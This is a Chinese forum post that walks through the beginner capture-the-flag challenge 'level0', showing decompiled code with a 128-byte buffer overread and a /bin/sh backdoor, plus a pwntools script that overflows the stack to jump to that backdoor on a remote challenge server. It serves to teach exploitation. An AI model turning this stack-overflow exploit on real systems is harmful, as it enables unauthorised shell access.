-
-
[原创]攻防世界PWN新手区:level0
-
发表于: 2022-4-4 12:53 6088
-
题目描述:菜鸡了解了什么是溢出,他相信自己能得到shell
还是老三样:
主函数的逻辑很简单就是写一串字符串然后调用一个函数,跟进去看一下函数代码
这里看到了一个read函数,接收了512字节的字符串,这里很明显可以利用它覆盖return的值,那么接下来要考虑的就是要跳到哪里去了,可以看一下左边的函数列表:
发现这里有一个后门,查看代码
现在思路就很清晰了,通过read函数覆盖返回地址到callsystem函数
int
__cdecl main(
int
argc, const char
*
*
argv, const char
*
*
envp)
{
write(
1
,
"Hello, World\n"
,
0xDuLL
);
return
vulnerable_function();
}
int
__cdecl main(
int
argc, const char
*
*
argv, const char
*
*
envp)
{
write(
1
,
"Hello, World\n"
,
0xDuLL
);
return
vulnerable_function();
}
ssize_t vulnerable_function()
{
char buf[
128
];
/
/
[rsp
+
0h
] [rbp
-
80h
] BYREF
return
read(
0
, buf,
0x200uLL
);
}
ssize_t vulnerable_function()
{
char buf[
128
];
/
/
[rsp
+
0h
] [rbp
-
80h
] BYREF
return
read(
0
, buf,
0x200uLL
);
}
int
callsystem()
{
return
system(
"/bin/sh"
);
}
int
callsystem()
{
return
system(
"/bin/sh"
);
}
from
pwn
import
*
context(os
=
'linux'
,arch
=
'amd64'
,log_level
=
"debug"
)
content
=
0
elf
=
ELF(
"level0"
)
system_addr
=
elf.symbols[
"callsystem"
]
#0x400596
def
main():
if
content
=
=
1
:
io
=
process(
"level0"
)
else
:
io
=
remote(
"111.200.241.244"
,
53920
)
#建立连接
payload
=
b
'A'
*
(
0x80
+
8
)
+
p64(system_addr)
io.recvuntil(
"Hello, World\n"
)
io.sendline(payload)
io.interactive()
if
__name__
=
=
'__main__'
:
main()
赞赏
他的文章
- 关于迷宫题的一些求解思路 11047
- [原创]攻防世界PWN新手区:int_overflow 7790
- [原创]攻防世界PWN新手区:guess_num 11508
- [原创]攻防世界PWN新手区:level2 11795
- [原创]攻防世界PWN新手区:level0 6089
看原图
赞赏
雪币:
留言: